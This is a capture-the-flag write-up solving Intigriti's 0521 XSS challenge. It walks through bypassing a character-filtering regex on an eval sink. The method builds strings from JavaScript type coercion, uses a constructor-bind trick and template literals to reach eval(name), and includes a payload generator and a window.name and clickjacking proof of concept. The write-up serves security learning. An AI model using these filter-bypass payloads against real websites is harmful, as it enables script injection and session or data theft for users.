Introduction

This write-up aims to demonstrate a solution to the Intigriti’s 0521 XSS challenge, which was created by @GrumpinouT.

Table of contents:

Recon

The application is a simple captcha implementation based on a verification of a sum calculation. When a user clicks on Submit button, the calc function is called.

function calc() {
    const operation = a.innerText + b.innerText + c.value;
    /* Allow letter 'e' because: https://en.wikipedia.org/wiki/E_(mathematical_constant) */
    if (!operation.match(/[a-df-z<>()!\\='"]/gi)) { 
        if (d.innerText == eval(operation)) {
          alert("🚫🤖 Congratulations, you're not a robot!");
        }
        else {
          alert("🤖 Sorry to break the news to you, but you are a robot!");
        }
        setNewNumber();
    }
    c.value = "";
}

The content of calc function is shown above. It gets three values to calculate:

Then, the concatenation of these three values becomes a parameter of evalfunction. The d.innerText represents the result of sum, which is compared with the result of eval function execution. Thus, the data source arises from input HTML tag and the sink function is the eval function itself.

The execution flow between the data source and sink function has a Regex sanitizing the input, which allows: e, [], `, +, numbers and etc.

Concepts review

Global variables

The window.name is a global variable in which its content is maintained by the browser, including through different origins [1]. Hence, it is possible to set the window.name content, redirect to another website, and then see the same value.

All HTML tags can be accessed in JavaScript via its id value [2]. If an input tag was defined as <input id="test" value"hello">, the command test.value returns the string hello. In contrast, if before access has a variable defined with the same name of the id, it is only possible to access via window['test'].

toString

In JavaScript is possible to make any string concatenation, regardless of content type [3]. This is possible due to toString function. Example: When a string is concatenated with an integer, the integer value is converted to string automatically via toString function execution. It occurs in the same way when a string is concatenated with objects and etc. In the sandbox below are shown some results of different types of concatenation.

Exploration

Generating strings

Based on the information observed in the previous section, it is possible to create strings using characters allowed by sanitizer (regex) and string concatenation.

Example creating the string fine.

The concatenation of '' + {}.b results in undefined as shown before, but the sanitizer does not allow single quotes and any alphabet character different from e. However, the character e can be used and it represents a process HTML tag as shown below.

<progress id="e" value="0" max="100" style="display:none"></progress>

One way to create the word fine is shown in the sandbox below.



The sandbox shows a concatenation of e.e+e, which means:

From an HTML tag to eval

The goal of this challenge is to execute alert(document.domain), which implies the execution of some function. As parentheses are not allowed to use, functions can be called through ``.

Even though the input provided by the user goes to an eval function, a payload like eval(name) could not be used. This happens because the payload cannot use these characters and the payload will look like with a concatenation of a string. Hence, this results in a execution like eval([e.e+e]+...).

This string problem could be solved with a payload using a template string like `${eval(name)}`, which results in an execution of eval("`${eval(name)}`"). Consequently, it is necessary to create the string `${eval(name)}` with string concatenation and set the content of window.name to alert(document.domain).

The object e has access to alert or eval functions directly through e.ownerDocument.defaultView. or e.getRootNode().defaultView, but these are long strings and it introduces a problem: the server does not allow a huge quantity of characters in GET requests.

In JavaScript, it is possible to create functions and execute them through constructor.bind. Thus, if the object e has a function property, it is completely exploitable.

In the sandbox below is shown the object e accessing the blur function, which results in an execution of console.log("EffectRenan").



Adaptaing this payload into a single line execution: e["blur"]["constructor"]["bind"]()("console.log('EffectRenan')")();

Generating the payload

As the payload shown previously cannot use parentheses, it is necessary to replace them with ``. Instead of the content executed be alert(document.domain) directly, it is preferring following the same approach to execute eval(name) to be able to execute arbitrary JavaScript code easily.

Some strings need to be created based on string concatenation technique, such as:

To generate all these strings is necessary to have a base string that contains all necessary characters. With the base string [e*e+e+e.e], which means NaN[object HTMLProgressElement]undefined, it is possible to generate blur, constructor and bind.

const base = '[e*e+e+e.e]';
const concat = eval(base)[0]; /* NaN[object HTMLProgressElement]undefined */

const generate = code => {
  let payload = '';

  for (i in code) {
    for (j in concat) {
      if (code[i] == concat[j]) {
        payload += `${base}[0][${j}]+`;
        break;
      }
    }
  }
  
  return payload.slice(0, payload.length - 1);
}

The above code shows the behavior of a function to generate all strings automatically. This function gets each character from code parameter and try to find a character in concat string, which represents NaN[objectHTMLProgressElement]undefined. When there is a match, the payload variable add in itself a new content based on the base string and a position where was found the character. The sandbox below shows all steps to generate the bind string.



As all functions definition when aplied toString returns a content similar to function name() { [native code] }, the blur function can be used as a base string to eval(name). Thus, the concatanation can be, e["blur"]+e, which means function blur() { [native code] }[object HTMLProgressElement]. The code below shows how to generate it.

const generate = (code, base, concat) => {
  let payload = '';

  for (i in code) {
    for (j in concat) {
      if (code[i] == concat[j]) {
        payload += `${base}[0][${j}]+`;
        break;
      }
    }
  }
  
  return payload.slice(0, payload.length - 1);
}

const base = '[e*e+e+e.e]';
const concat =  eval(base)[0];

const blur = generate('blur', base, concat);

const baseEvalName = `[e[${blur}]+e]`;
const concatEvalName =  eval(baseEvalName)[0];

const _eval = `${generate('eval', baseEvalName, concatEvalName)}`;
const openParentheses = `${generate('(', baseEvalName, concatEvalName)}`;
const _name = `${generate('name', baseEvalName, concatEvalName)}`;
const closeParentheses = `${generate(')', baseEvalName, concatEvalName)}`;

const _evalName = `${_eval}+${openParentheses}+${_name}+${closeParentheses}`;

Two things need to be handle yet. When the payload executes the template string ${<concatenation string>}, which the concatenation string represents eval(name), it is necessary to put this between comments. This happens because after the template is rendered it returns ,, which causes an error. The sandbox below shows a correct execution (returning true) and another causing an error.



Remembering from recon step, the payload is executed like: <number> + payload. Thus, the payload needs to finish the previous command with <number>;:

1;e["blur"]["constructor"]["bind"]```/*${"eval(name)"}*/```

Self-XSS & Clickjacking

Once the payload is done, it is possible to exploit XSS only if the victim fills the input HTML tag with the payload. In this challenge, it is possible to use a GET parameter ?c to fill it automatically. Unfortunately, this is guessing. As the server has no X-Frame-Options header, it is possible to exploit clickjacking, but the victim still needs to press on Submit button.

Proof-of-Concept

Based on an iframe:

  1. Set window.name to alert(document.domain).
  2. Goto to https://challenge-0521.intigriti.io/captcha.php?c= + payload.
  3. Press on Submit button.


References

  1. Window.name - MDN Web Docs
  2. Accessing Element IDs in DOM as window/global Variables - Bits & Pieces
  3. Function.prototype.toString() - MDN Web Docs
  4. Intigriti’s 0521 XSS challenge - Intigriti

Discuss on Twitter

I'm late, but here it is.

Write-up to Intigriti's XSS challenge. Check it out!https://t.co/F8OMnc5bmc#XSS https://t.co/MvFbuONgWr

— Renan Rocha (@EffectRenan) June 8, 2021